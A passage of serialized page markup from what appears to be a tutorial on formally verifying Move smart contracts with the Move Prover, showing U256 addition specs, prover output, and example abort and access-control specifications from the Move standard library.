observe, the loop within the ",{"type":22,"tag":257,"props":12995,"children":12997},{"className":12996},[],[12998],{"type":27,"value":10936},{"type":27,"value":13000}," function will always iterate exactly 4 times:",{"type":22,"tag":618,"props":13002,"children":13004},{"code":13003,"language":4273,"meta":7,"className":4274,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n    let a1 = get(&a, i);\n    let b1 = get(&b, i);\n\n[...]\n",[13005],{"type":22,"tag":257,"props":13006,"children":13007},{"__ignoreMap":7},[13008,13016,13049,13056,13072,13079,13103,13127,13172,13216,13223],{"type":22,"tag":264,"props":13009,"children":13010},{"class":1534,"line":1535},[13011],{"type":22,"tag":264,"props":13012,"children":13013},{"style":4284},[13014],{"type":27,"value":13015},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":22,"tag":264,"props":13017,"children":13018},{"class":1534,"line":1545},[13019,13023,13028,13032,13036,13040,13045],{"type":22,"tag":264,"props":13020,"children":13021},{"style":4293},[13022],{"type":27,"value":10953},{"type":22,"tag":264,"props":13024,"children":13025},{"style":1539},[13026],{"type":27,"value":13027}," WORDS",{"type":22,"tag":264,"props":13029,"children":13030},{"style":4309},[13031],{"type":27,"value":5785},{"type":22,"tag":264,"props":13033,"children":13034},{"style":4722},[13035],{"type":27,"value":7151},{"type":22,"tag":264,"props":13037,"children":13038},{"style":4309},[13039],{"type":27,"value":4312},{"type":22,"tag":264,"props":13041,"children":13042},{"style":4344},[13043],{"type":27,"value":13044}," 4",{"type":22,"tag":264,"props":13046,"children":13047},{"style":1539},[13048],{"type":27,"value":4322},{"type":22,"tag":264,"props":13050,"children":13051},{"class":1534,"line":1560},[13052],{"type":22,"tag":264,"props":13053,"children":13054},{"emptyLinePlaceholder":17},[13055],{"type":27,"value":4986},{"type":22,"tag":264,"props":13057,"children":13058},{"class":1534,"line":1569},[13059,13063,13067],{"type":22,"tag":264,"props":13060,"children":13061},{"style":1539},[13062],{"type":27,"value":5045},{"type":22,"tag":264,"props":13064,"children":13065},{"style":4309},[13066],{"type":27,"value":10889},{"type":22,"tag":264,"props":13068,"children":13069},{"style":1539},[13070],{"type":27,"value":13071},"]\n",{"type":22,"tag":264,"props":13073,"children":13074},{"class":1534,"line":1583},[13075],{"type":22,"tag":264,"props":13076,"children":13077},{"emptyLinePlaceholder":17},[13078],{"type":27,"value":4986},{"type":22,"tag":264,"props":13080,"children":13081},{"class":1534,"line":1603},[13082,13087,13091,13095,13099],{"type":22,"tag":264,"props":13083,"children":13084},{"style":4293},[13085],{"type":27,"value":13086},"let",{"type":22,"tag":264,"props":13088,"children":13089},{"style":1549},[13090],{"type":27,"value":4701},{"type":22,"tag":264,"props":13092,"children":13093},{"style":4309},[13094],{"type":27,"value":4312},{"type":22,"tag":264,"props":13096,"children":13097},{"style":4344},[13098],{"type":27,"value":4347},{"type":22,"tag":264,"props":13100,"children":13101},{"style":1539},[13102],{"type":27,"value":4322},{"type":22,"tag":264,"props":13104,"children":13105},{"class":1534,"line":1612},[13106,13110,13114,13118,13122],{"type":22,"tag":264,"props":13107,"children":13108},{"style":4328},[13109],{"type":27,"value":12760},{"type":22,"tag":264,"props":13111,"children":13112},{"style":1539},[13113],{"type":27,"value":4370},{"type":22,"tag":264,"props":13115,"children":13116},{"style":1549},[13117],{"type":27,"value":5050},{"type":22,"tag":264,"props":13119,"children":13120},{"style":4309},[13121],{"type":27,"value":10014},{"type":22,"tag":264,"props":13123,"children":13124},{"style":1539},[13125],{"type":27,"value":13126}," WORDS) {\n",{"type":22,"tag":264,"props":13128,"children":13129},{"class":1534,"line":1621},[13130,13134,13139,13143,13148,13152,13156,13160,13164,13168],{"type":22,"tag":264,"props":13131,"children":13132},{"style":4293},[13133],{"type":27,"value":4296},{"type":22,"tag":264,"props":13135,"children":13136},{"style":1549},[13137],{"type":27,"value":13138}," a1",{"type":22,"tag":264,"props":13140,"children":13141},{"style":4309},[13142],{"type":27,"value":4312},{"type":22,"tag":264,"props":13144,"children":13145},{"style":4401},[13146],{"type":27,"value":13147}," get",{"type":22,"tag":264,"props":13149,"children":13150},{"style":1539},[13151],{"type":27,"value":2660},{"type":22,"tag":264,"props":13153,"children":13154},{"style":4309},[13155],{"type":27,"value":4413},{"type":22,"tag":264,"props":13157,"children":13158},{"style":1549},[13159],{"type":27,"value":69},{"type":22,"tag":264,"props":13161,"children":13162},{"style":1539},[13163],{"type":27,"value":4380},{"type":22,"tag":264,"props":13165,"children":13166},{"style":1549},[13167],{"type":27,"value":5050},{"type":22,"tag":264,"props":13169,"children":13170},{"style":1539},[13171],{"type":27,"value":5142},{"type":22,"tag":264,"props":13173,"children":13174},{"class":1534,"line":1629},[13175,13179,13184,13188,13192,13196,13200,13204,13208,13212],{"type":22,"tag":264,"props":13176,"children":13177},{"style":4293},[13178],{"type":27,"value":4296},{"type":22,"tag":264,"props":13180,"children":13181},{"style":1549},[13182],{"type":27,"value":13183}," b1",{"type":22,"tag":264,"props":13185,"children":13186},{"style":4309},[13187],{"type":27,"value":4312},{"type":22,"tag":264,"props":13189,"children":13190},{"style":4401},[13191],{"type":27,"value":13147},{"type":22,"tag":264,"props":13193,"children":13194},{"style":1539},[13195],{"type":27,"value":2660},{"type":22,"tag":264,"props":13197,"children":13198},{"style":4309},[13199],{"type":27,"value":4413},{"type":22,"tag":264,"props":13201,"children":13202},{"style":1549},[13203],{"type":27,"value":2181},{"type":22,"tag":264,"props":13205,"children":13206},{"style":1539},[13207],{"type":27,"value":4380},{"type":22,"tag":264,"props":13209,"children":13210},{"style":1549},[13211],{"type":27,"value":5050},{"type":22,"tag":264,"props":13213,"children":13214},{"style":1539},[13215],{"type":27,"value":5142},{"type":22,"tag":264,"props":13217,"children":13218},{"class":1534,"line":1642},[13219],{"type":22,"tag":264,"props":13220,"children":13221},{"emptyLinePlaceholder":17},[13222],{"type":27,"value":4986},{"type":22,"tag":264,"props":13224,"children":13225},{"class":1534,"line":1660},[13226,13230,13234],{"type":22,"tag":264,"props":13227,"children":13228},{"style":1539},[13229],{"type":27,"value":5045},{"type":22,"tag":264,"props":13231,"children":13232},{"style":4309},[13233],{"type":27,"value":10889},{"type":22,"tag":264,"props":13235,"children":13236},{"style":1539},[13237],{"type":27,"value":13071},{"type":22,"tag":23,"props":13239,"children":13240},{},[13241],{"type":27,"value":13242},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":22,"tag":618,"props":13244,"children":13246},{"code":13245},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n    \"Result\": \"Success\"\n}\n",[13247],{"type":22,"tag":257,"props":13248,"children":13249},{"__ignoreMap":7},[13250],{"type":27,"value":13245},{"type":22,"tag":23,"props":13252,"children":13253},{},[13254,13256,13261,13262,13268],{"type":27,"value":13255},"For the ",{"type":22,"tag":242,"props":13257,"children":13258},{},[13259],{"type":27,"value":13260},"Associative Property",{"type":27,"value":4370},{"type":22,"tag":257,"props":13263,"children":13265},{"className":13264},[],[13266],{"type":27,"value":13267},"a+(b+c) = (a+b)+c",{"type":27,"value":13269},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":22,"tag":618,"props":13271,"children":13273},{"code":13272,"language":4273,"meta":7,"className":4274,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n    let result_1 = add(b, c);\n    let result_11 = add(a, result_1);\n    let result_2 = add(a, b);\n    let result_22 = add(c, result_2);\n\n    let cmp = compare(&result_11, &result_22);\n    if ( cmp == EQUAL ) true else false\n}\n",[13274],{"type":22,"tag":257,"props":13275,"children":13276},{"__ignoreMap":7},[13277,13354,13393,13434,13473,13514,13521,13571,13611],{"type":22,"tag":264,"props":13278,"children":13279},{"class":1534,"line":1535},[13280,13284,13289,13293,13297,13301,13305,13309,13313,13317,13321,13325,13329,13333,13337,13341,13345,13350],{"type":22,"tag":264,"props":13281,"children":13282},{"style":1549},[13283],{"type":27,"value":8400},{"type":22,"tag":264,"props":13285,"children":13286},{"style":4401},[13287],{"type":27,"value":13288}," add_assoc_property",{"type":22,"tag":264,"props":13290,"children":13291},{"style":1539},[13292],{"type":27,"value":2660},{"type":22,"tag":264,"props":13294,"children":13295},{"style":1549},[13296],{"type":27,"value":69},{"type":22,"tag":264,"props":13298,"children":13299},{"style":4309},[13300],{"type":27,"value":5785},{"type":22,"tag":264,"props":13302,"children":13303},{"style":4722},[13304],{"type":27,"value":6024},{"type":22,"tag":264,"props":13306,"children":13307},{"style":1539},[13308],{"type":27,"value":4380},{"type":22,"tag":264,"props":13310,"children":13311},{"style":1549},[13312],{"type":27,"value":2181},{"type":22,"tag":264,"props":13314,"children":13315},{"style":4309},[13316],{"type":27,"value":5785},{"type":22,"tag":264,"props":13318,"children":13319},{"style":4722},[13320],{"type":27,"value":6024},{"type":22,"tag":264,"props":13322,"children":13323},{"style":1539},[13324],{"type":27,"value":4380},{"type":22,"tag":264,"props":13326,"children":13327},{"style":1549},[13328],{"type":27,"value":4449},{"type":22,"tag":264,"props":13330,"children":13331},{"style":4309},[13332],{"type":27,"value":5785},{"type":22,"tag":264,"props":13334,"children":13335},{"style":4722},[13336],{"type":27,"value":6024},{"type":22,"tag":264,"props":13338,"children":13339},{"style":1539},[13340],{"type":27,"value":2806},{"type":22,"tag":264,"props":13342,"children":13343},{"style":4309},[13344],{"type":27,"value":5785},{"type":22,"tag":264,"props":13346,"children":13347},{"style":4722},[13348],{"type":27,"value":13349}," bool",{"type":22,"tag":264,"props":13351,"children":13352},{"style":1539},[13353],{"type":27,"value":4594},{"type":22,"tag":264,"props":13355,"children":13356},{"class":1534,"line":1545},[13357,13361,13365,13369,13373,13377,13381,13385,13389],{"type":22,"tag":264,"props":13358,"children":13359},{"style":4293},[13360],{"type":27,"value":4296},{"type":22,"tag":264,"props":13362,"children":13363},{"style":1549},[13364],{"type":27,"value":9486},{"type":22,"tag":264,"props":13366,"children":13367},{"style":4309},[13368],{"type":27,"value":4312},{"type":22,"tag":264,"props":13370,"children":13371},{"style":4401},[13372],{"type":27,"value":10879},{"type":22,"tag":264,"props":13374,"children":13375},{"style":1539},[13376],{"type":27,"value":2660},{"type":22,"tag":264,"props":13378,"children":13379},{"style":1549},[13380],{"type":27,"value":2181},{"type":22,"tag":264,"props":13382,"children":13383},{"style":1539},[13384],{"type":27,"value":4380},{"type":22,"tag":264,"props":13386,"children":13387},{"style":1549},[13388],{"type":27,"value":4449},{"type":22,"tag":264,"props":13390,"children":13391},{"style":1539},[13392],{"type":27,"value":5142},{"type":22,"tag":264,"props":13394,"children":13395},{"class":1534,"line":1560},[13396,13400,13405,13409,13413,13417,13421,13425,13430],{"type":22,"tag":264,"props":13397,"children":13398},{"style":4293},[13399],{"type":27,"value":4296},{"type":22,"tag":264,"props":13401,"children":13402},{"style":1549},[13403],{"type":27,"value":13404}," result_11",{"type":22,"tag":264,"props":13406,"children":13407},{"style":4309},[13408],{"type":27,"value":4312},{"type":22,"tag":264,"props":13410,"children":13411},{"style":4401},[13412],{"type":27,"value":10879},{"type":22,"tag":264,"props":13414,"children":13415},{"style":1539},[13416],{"type":27,"value":2660},{"type":22,"tag":264,"props":13418,"children":13419},{"style":1549},[13420],{"type":27,"value":69},{"type":22,"tag":264,"props":13422,"children":13423},{"style":1539},[13424],{"type":27,"value":4380},{"type":22,"tag":264,"props":13426,"children":13427},{"style":1549},[13428],{"type":27,"value":13429},"result_1",{"type":22,"tag":264,"props":13431,"children":13432},{"style":1539},[13433],{"type":27,"value":5142},{"type":22,"tag":264,"props":13435,"children":13436},{"class":1534,"line":1569},[13437,13441,13445,13449,13453,13457,13461,13465,13469],{"type":22,"tag":264,"props":13438,"children":13439},{"style":4293},[13440],{"type":27,"value":4296},{"type":22,"tag":264,"props":13442,"children":13443},{"style":1549},[13444],{"type":27,"value":9512},{"type":22,"tag":264,"props":13446,"children":13447},{"style":4309},[13448],{"type":27,"value":4312},{"type":22,"tag":264,"props":13450,"children":13451},{"style":4401},[13452],{"type":27,"value":10879},{"type":22,"tag":264,"props":13454,"children":13455},{"style":1539},[13456],{"type":27,"value":2660},{"type":22,"tag":264,"props":13458,"children":13459},{"style":1549},[13460],{"type":27,"value":69},{"type":22,"tag":264,"props":13462,"children":13463},{"style":1539},[13464],{"type":27,"value":4380},{"type":22,"tag":264,"props":13466,"children":13467},{"style":1549},[13468],{"type":27,"value":2181},{"type":22,"tag":264,"props":13470,"children":13471},{"style":1539},[13472],{"type":27,"value":5142},{"type":22,"tag":264,"props":13474,"children":13475},{"class":1534,"line":1583},[13476,13480,13485,13489,13493,13497,13501,13505,13510],{"type":22,"tag":264,"props":13477,"children":13478},{"style":4293},[13479],{"type":27,"value":4296},{"type":22,"tag":264,"props":13481,"children":13482},{"style":1549},[13483],{"type":27,"value":13484}," result_22",{"type":22,"tag":264,"props":13486,"children":13487},{"style":4309},[13488],{"type":27,"value":4312},{"type":22,"tag":264,"props":13490,"children":13491},{"style":4401},[13492],{"type":27,"value":10879},{"type":22,"tag":264,"props":13494,"children":13495},{"style":1539},[13496],{"type":27,"value":2660},{"type":22,"tag":264,"props":13498,"children":13499},{"style":1549},[13500],{"type":27,"value":4449},{"type":22,"tag":264,"props":13502,"children":13503},{"style":1539},[13504],{"type":27,"value":4380},{"type":22,"tag":264,"props":13506,"children":13507},{"style":1549},[13508],{"type":27,"value":13509},"result_2",{"type":22,"tag":264,"props":13511,"children":13512},{"style":1539},[13513],{"type":27,"value":5142},{"type":22,"tag":264,"props":13515,"children":13516},{"class":1534,"line":1603},[13517],{"type":22,"tag":264,"props":13518,"children":13519},{"emptyLinePlaceholder":17},[13520],{"type":27,"value":4986},{"type":22,"tag":264,"props":13522,"children":13523},{"class":1534,"line":1612},[13524,13528,13532,13536,13541,13545,13549,13554,13558,13562,13567],{"type":22,"tag":264,"props":13525,"children":13526},{"style":4293},[13527],{"type":27,"value":4296},{"type":22,"tag":264,"props":13529,"children":13530},{"style":1549},[13531],{"type":27,"value":9154},{"type":22,"tag":264,"props":13533,"children":13534},{"style":4309},[13535],{"type":27,"value":4312},{"type":22,"tag":264,"props":13537,"children":13538},{"style":4401},[13539],{"type":27,"value":13540}," compare",{"type":22,"tag":264,"props":13542,"children":13543},{"style":1539},[13544],{"type":27,"value":2660},{"type":22,"tag":264,"props":13546,"children":13547},{"style":4309},[13548],{"type":27,"value":4413},{"type":22,"tag":264,"props":13550,"children":13551},{"style":1549},[13552],{"type":27,"value":13553},"result_11",{"type":22,"tag":264,"props":13555,"children":13556},{"style":1539},[13557],{"type":27,"value":4380},{"type":22,"tag":264,"props":13559,"children":13560},{"style":4309},[13561],{"type":27,"value":4413},{"type":22,"tag":264,"props":13563,"children":13564},{"style":1549},[13565],{"type":27,"value":13566},"result_22",{"type":22,"tag":264,"props":13568,"children":13569},{"style":1539},[13570],{"type":27,"value":5142},{"type":22,"tag":264,"props":13572,"children":13573},{"class":1534,"line":1621},[13574,13579,13584,13588,13592,13597,13601,13606],{"type":22,"tag":264,"props":13575,"children":13576},{"style":4328},[13577],{"type":27,"value":13578},"    if",{"type":22,"tag":264,"props":13580,"children":13581},{"style":1539},[13582],{"type":27,"value":13583}," ( ",{"type":22,"tag":264,"props":13585,"children":13586},{"style":1549},[13587],{"type":27,"value":9219},{"type":22,"tag":264,"props":13589,"children":13590},{"style":4309},[13591],{"type":27,"value":4585},{"type":22,"tag":264,"props":13593,"children":13594},{"style":1539},[13595],{"type":27,"value":13596}," EQUAL ) ",{"type":22,"tag":264,"props":13598,"children":13599},{"style":4293},[13600],{"type":27,"value":273},{"type":22,"tag":264,"props":13602,"children":13603},{"style":4328},[13604],{"type":27,"value":13605}," else",{"type":22,"tag":264,"props":13607,"children":13608},{"style":4293},[13609],{"type":27,"value":13610}," false\n",{"type":22,"tag":264,"props":13612,"children":13613},{"class":1534,"line":1629},[13614],{"type":22,"tag":264,"props":13615,"children":13616},{"style":1539},[13617],{"type":27,"value":1692},{"type":22,"tag":23,"props":13619,"children":13620},{},[13621],{"type":27,"value":13622},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":22,"tag":618,"props":13624,"children":13626},{"code":13625,"language":4273,"meta":7,"className":4274,"style":7},"spec add_assoc_property {\n    aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n    ensures result == true;\n}\n",[13627],{"type":22,"tag":257,"props":13628,"children":13629},{"__ignoreMap":7},[13630,13645,13749,13773],{"type":22,"tag":264,"props":13631,"children":13632},{"class":1534,"line":1535},[13633,13637,13641],{"type":22,"tag":264,"props":13634,"children":13635},{"style":1549},[13636],{"type":27,"value":9569},{"type":22,"tag":264,"props":13638,"children":13639},{"style":1549},[13640],{"type":27,"value":13288},{"type":22,"tag":264,"props":13642,"children":13643},{"style":1539},[13644],{"type":27,"value":4594},{"type":22,"tag":264,"props":13646,"children":13647},{"class":1534,"line":1545},[13648,13652,13656,13661,13665,13669,13673,13677,13681,13685,13689,13693,13697,13701,13705,13709,13713,13717,13721,13725,13729,13733,13737,13741,13745],{"type":22,"tag":264,"props":13649,"children":13650},{"style":1549},[13651],{"type":27,"value":11201},{"type":22,"tag":264,"props":13653,"children":13654},{"style":1539},[13655],{"type":27,"value":4370},{"type":22,"tag":264,"props":13657,"children":13658},{"style":4401},[13659],{"type":27,"value":13660},"value_of_U256",{"type":22,"tag":264,"props":13662,"children":13663},{"style":1539},[13664],{"type":27,"value":2660},{"type":22,"tag":264,"props":13666,"children":13667},{"style":1549},[13668],{"type":27,"value":69},{"type":22,"tag":264,"props":13670,"children":13671},{"style":1539},[13672],{"type":27,"value":4390},{"type":22,"tag":264,"props":13674,"children":13675},{"style":4309},[13676],{"type":27,"value":673},{"type":22,"tag":264,"props":13678,"children":13679},{"style":4401},[13680],{"type":27,"value":11002},{"type":22,"tag":264,"props":13682,"children":13683},{"style":1539},[13684],{"type":27,"value":2660},{"type":22,"tag":264,"props":13686,"children":13687},{"style":1549},[13688],{"type":27,"value":2181},{"type":22,"tag":264,"props":13690,"children":13691},{"style":1539},[13692],{"type":27,"value":10132},{"type":22,"tag":264,"props":13694,"children":13695},{"style":4309},[13696],{"type":27,"value":673},{"type":22,"tag":264,"props":13698,"children":13699},{"style":4401},[13700],{"type":27,"value":11002},{"type":22,"tag":264,"props":13702,"children":13703},{"style":1539},[13704],{"type":27,"value":2660},{"type":22,"tag":264,"props":13706,"children":13707},{"style":1549},[13708],{"type":27,"value":4449},{"type":22,"tag":264,"props":13710,"children":13711},{"style":1539},[13712],{"type":27,"value":4390},{"type":22,"tag":264,"props":13714,"children":13715},{"style":4309},[13716],{"type":27,"value":11242},{"type":22,"tag":264,"props":13718,"children":13719},{"style":4722},[13720],{"type":27,"value":10958},{"type":22,"tag":264,"props":13722,"children":13723},{"style":4309},[13724],{"type":27,"value":11115},{"type":22,"tag":264,"props":13726,"children":13727},{"style":4722},[13728],{"type":27,"value":10958},{"type":22,"tag":264,"props":13730,"children":13731},{"style":4309},[13732],{"type":27,"value":11115},{"type":22,"tag":264,"props":13734,"children":13735},{"style":4722},[13736],{"type":27,"value":10958},{"type":22,"tag":264,"props":13738,"children":13739},{"style":4309},[13740],{"type":27,"value":11115},{"type":22,"tag":264,"props":13742,"children":13743},{"style":4722},[13744],{"type":27,"value":10958},{"type":22,"tag":264,"props":13746,"children":13747},{"style":1539},[13748],{"type":27,"value":4322},{"type":22,"tag":264,"props":13750,"children":13751},{"class":1534,"line":1560},[13752,13756,13760,13764,13769],{"type":22,"tag":264,"props":13753,"children":13754},{"style":1549},[13755],{"type":27,"value":11499},{"type":22,"tag":264,"props":13757,"children":13758},{"style":1549},[13759],{"type":27,"value":10457},{"type":22,"tag":264,"props":13761,"children":13762},{"style":4309},[13763],{"type":27,"value":4585},{"type":22,"tag":264,"props":13765,"children":13766},{"style":4293},[13767],{"type":27,"value":13768}," true",{"type":22,"tag":264,"props":13770,"children":13771},{"style":1539},[13772],{"type":27,"value":4322},{"type":22,"tag":264,"props":13774,"children":13775},{"class":1534,"line":1569},[13776],{"type":22,"tag":264,"props":13777,"children":13778},{"style":1539},[13779],{"type":27,"value":1692},{"type":22,"tag":23,"props":13781,"children":13782},{},[13783],{"type":27,"value":13784},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":22,"tag":618,"props":13786,"children":13787},{"code":13245},[13788],{"type":22,"tag":257,"props":13789,"children":13790},{"__ignoreMap":7},[13791],{"type":27,"value":13245},{"type":22,"tag":23,"props":13793,"children":13794},{},[13795,13797,13804],{"type":27,"value":13796},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":22,"tag":69,"props":13798,"children":13801},{"href":13799,"rel":13800},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[73],[13802],{"type":27,"value":13803},"spec-lang.md",{"type":27,"value":13805}," in the Move Repository.",{"type":22,"tag":169,"props":13807,"children":13809},{"id":13808},"use-cases",[13810],{"type":27,"value":13811},"Use Cases",{"type":22,"tag":23,"props":13813,"children":13814},{},[13815],{"type":27,"value":13816},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":22,"tag":23,"props":13818,"children":13819},{},[13820],{"type":27,"value":13821},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":22,"tag":181,"props":13823,"children":13825},{"id":13824},"error-conditions",[13826],{"type":27,"value":13827},"Error Conditions",{"type":22,"tag":23,"props":13829,"children":13830},{},[13831,13833,13839],{"type":27,"value":13832},"Taking an example from ",{"type":22,"tag":257,"props":13834,"children":13836},{"className":13835},[],[13837],{"type":27,"value":13838},"std::fixed_point32",{"type":27,"value":13840},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":22,"tag":618,"props":13842,"children":13844},{"code":13843,"language":4273,"meta":7,"className":4274,"style":7},"      spec schema MultiplyAbortsIf {\n          val: num;\n          multiplier: FixedPoint32;\n          aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n      }\n      spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n          (val * multiplier.value) >> 32\n      }\n",[13845],{"type":22,"tag":257,"props":13846,"children":13847},{"__ignoreMap":7},[13848,13869,13889,13910,13956,13963,14026,14065],{"type":22,"tag":264,"props":13849,"children":13850},{"class":1534,"line":1535},[13851,13855,13860,13865],{"type":22,"tag":264,"props":13852,"children":13853},{"style":1549},[13854],{"type":27,"value":10224},{"type":22,"tag":264,"props":13856,"children":13857},{"style":1549},[13858],{"type":27,"value":13859}," schema",{"type":22,"tag":264,"props":13861,"children":13862},{"style":4722},[13863],{"type":27,"value":13864}," MultiplyAbortsIf",{"type":22,"tag":264,"props":13866,"children":13867},{"style":1539},[13868],{"type":27,"value":4594},{"type":22,"tag":264,"props":13870,"children":13871},{"class":1534,"line":1545},[13872,13877,13881,13885],{"type":22,"tag":264,"props":13873,"children":13874},{"style":1549},[13875],{"type":27,"value":13876},"          val",{"type":22,"tag":264,"props":13878,"children":13879},{"style":4309},[13880],{"type":27,"value":5785},{"type":22,"tag":264,"props":13882,"children":13883},{"style":1549},[13884],{"type":27,"value":11031},{"type":22,"tag":264,"props":13886,"children":13887},{"style":1539},[13888],{"type":27,"value":4322},{"type":22,"tag":264,"props":13890,"children":13891},{"class":1534,"line":1560},[13892,13897,13901,13906],{"type":22,"tag":264,"props":13893,"children":13894},{"style":1549},[13895],{"type":27,"value":13896},"          multiplier",{"type":22,"tag":264,"props":13898,"children":13899},{"style":4309},[13900],{"type":27,"value":5785},{"type":22,"tag":264,"props":13902,"children":13903},{"style":4722},[13904],{"type":27,"value":13905}," FixedPoint32",{"type":22,"tag":264,"props":13907,"children":13908},{"style":1539},[13909],{"type":27,"value":4322},{"type":22,"tag":264,"props":13911,"children":13912},{"class":1534,"line":1569},[13913,13918,13923,13927,13932,13936,13941,13946,13951],{"type":22,"tag":264,"props":13914,"children":13915},{"style":1549},[13916],{"type":27,"value":13917},"          aborts_if",{"type":22,"tag":264,"props":13919,"children":13920},{"style":4401},[13921],{"type":27,"value":13922}," spec_multiply_u64",{"type":22,"tag":264,"props":13924,"children":13925},{"style":1539},[13926],{"type":27,"value":2660},{"type":22,"tag":264,"props":13928,"children":13929},{"style":1549},[13930],{"type":27,"value":13931},"val",{"type":22,"tag":264,"props":13933,"children":13934},{"style":1539},[13935],{"type":27,"value":4380},{"type":22,"tag":264,"props":13937,"children":13938},{"style":1549},[13939],{"type":27,"value":13940},"multiplier",{"type":22,"tag":264,"props":13942,"children":13943},{"style":1539},[13944],{"type":27,"value":13945},") > MAX_U64 ",{"type":22,"tag":264,"props":13947,"children":13948},{"style":1549},[13949],{"type":27,"value":13950},"with",{"type":22,"tag":264,"props":13952,"children":13953},{"style":1539},[13954],{"type":27,"value":13955}," EMULTIPLICATION;\n",{"type":22,"tag":264,"props":13957,"children":13958},{"class":1534,"line":1583},[13959],{"type":22,"tag":264,"props":13960,"children":13961},{"style":1539},[13962],{"type":27,"value":1609},{"type":22,"tag":264,"props":13964,"children":13965},{"class":1534,"line":1603},[13966,13970,13974,13978,13982,13986,13990,13994,13998,14002,14006,14010,14014,14018,14022],{"type":22,"tag":264,"props":13967,"children":13968},{"style":1549},[13969],{"type":27,"value":10224},{"type":22,"tag":264,"props":13971,"children":13972},{"style":1549},[13973],{"type":27,"value":7499},{"type":22,"tag":264,"props":13975,"children":13976},{"style":4401},[13977],{"type":27,"value":13922},{"type":22,"tag":264,"props":13979,"children":13980},{"style":1539},[13981],{"type":27,"value":2660},{"type":22,"tag":264,"props":13983,"children":13984},{"style":1549},[13985],{"type":27,"value":13931},{"type":22,"tag":264,"props":13987,"children":13988},{"style":4309},[13989],{"type":27,"value":5785},{"type":22,"tag":264,"props":13991,"children":13992},{"style":1549},[13993],{"type":27,"value":11031},{"type":22,"tag":264,"props":13995,"children":13996},{"style":1539},[13997],{"type":27,"value":4380},{"type":22,"tag":264,"props":13999,"children":14000},{"style":1549},[14001],{"type":27,"value":13940},{"type":22,"tag":264,"props":14003,"children":14004},{"style":4309},[14005],{"type":27,"value":5785},{"type":22,"tag":264,"props":14007,"children":14008},{"style":4722},[14009],{"type":27,"value":13905},{"type":22,"tag":264,"props":14011,"children":14012},{"style":1539},[14013],{"type":27,"value":2806},{"type":22,"tag":264,"props":14015,"children":14016},{"style":4309},[14017],{"type":27,"value":5785},{"type":22,"tag":264,"props":14019,"children":14020},{"style":1549},[14021],{"type":27,"value":11031},{"type":22,"tag":264,"props":14023,"children":14024},{"style":1539},[14025],{"type":27,"value":4594},{"type":22,"tag":264,"props":14027,"children":14028},{"class":1534,"line":1612},[14029,14033,14037,14041,14046,14050,14055,14060],{"type":22,"tag":264,"props":14030,"children":14031},{"style":1539},[14032],{"type":27,"value":10005},{"type":22,"tag":264,"props":14034,"children":14035},{"style":1549},[14036],{"type":27,"value":13931},{"type":22,"tag":264,"props":14038,"children":14039},{"style":4309},[14040],{"type":27,"value":11115},{"type":22,"tag":264,"props":14042,"children":14043},{"style":1549},[14044],{"type":27,"value":14045}," multiplier",{"type":22,"tag":264,"props":14047,"children":14048},{"style":4309},[14049],{"type":27,"value":210},{"type":22,"tag":264,"props":14051,"children":14052},{"style":1539},[14053],{"type":27,"value":14054},"value) ",{"type":22,"tag":264,"props":14056,"children":14057},{"style":4309},[14058],{"type":27,"value":14059},">>",{"type":22,"tag":264,"props":14061,"children":14062},{"style":4344},[14063],{"type":27,"value":14064}," 32\n",{"type":22,"tag":264,"props":14066,"children":14067},{"class":1534,"line":1621},[14068],{"type":22,"tag":264,"props":14069,"children":14070},{"style":1539},[14071],{"type":27,"value":1609},{"type":22,"tag":181,"props":14073,"children":14075},{"id":14074},"access-control-policies",[14076],{"type":27,"value":14077},"Access Control Policies",{"type":22,"tag":23,"props":14079,"children":14080},{},[14081],{"type":27,"value":14082},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":22,"tag":23,"props":14084,"children":14085},{},[14086,14088,14094,14096,14101],{"type":27,"value":14087},"For example, in ",{"type":22,"tag":257,"props":14089,"children":14091},{"className":14090},[],[14092],{"type":27,"value":14093},"std::offer",{"type":27,"value":14095}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":22,"tag":1699,"props":14097,"children":14098},{},[14099],{"type":27,"value":14100},"or",{"type":27,"value":14102}," the recipient is now allowed.",{"type":22,"tag":618,"props":14104,"children":14106},{"code":14105,"language":4273,"meta":7,"className":4274,"style":7},"    spec redeem {\n      /// Aborts if there is no offer under `offer_address` or if the account\n      /// cannot redeem the offer.\n      /// Ensures that the offered struct under `offer_address` is removed.\n      aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n      aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n      ensures !exists\u003COffer\u003COffered>>(offer_address);\n      ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n    }\n",[14107],{"type":22,"tag":257,"props":14108,"children":14109},{"__ignoreMap":7},[14110,14127,14135,14143,14151,14198,14256,14299,14365],{"type":22,"tag":264,"props":14111,"children":14112},{"class":1534,"line":1535},[14113,14118,14123],{"type":22,"tag":264,"props":14114,"children":14115},{"style":1549},[14116],{"type":27,"value":14117},"    spec",{"type":22,"tag":264,"props":14119,"children":14120},{"style":1549},[14121],{"type":27,"value":14122}," redeem",{"type":22,"tag":264,"props":14124,"children":14125},{"style":1539},[14126],{"type":27,"value":4594},{"type":22,"tag":264,"props":14128,"children":14129},{"class":1534,"line":1545},[14130],{"type":22,"tag":264,"props":14131,"children":14132},{"style":4284},[14133],{"type":27,"value":14134},"      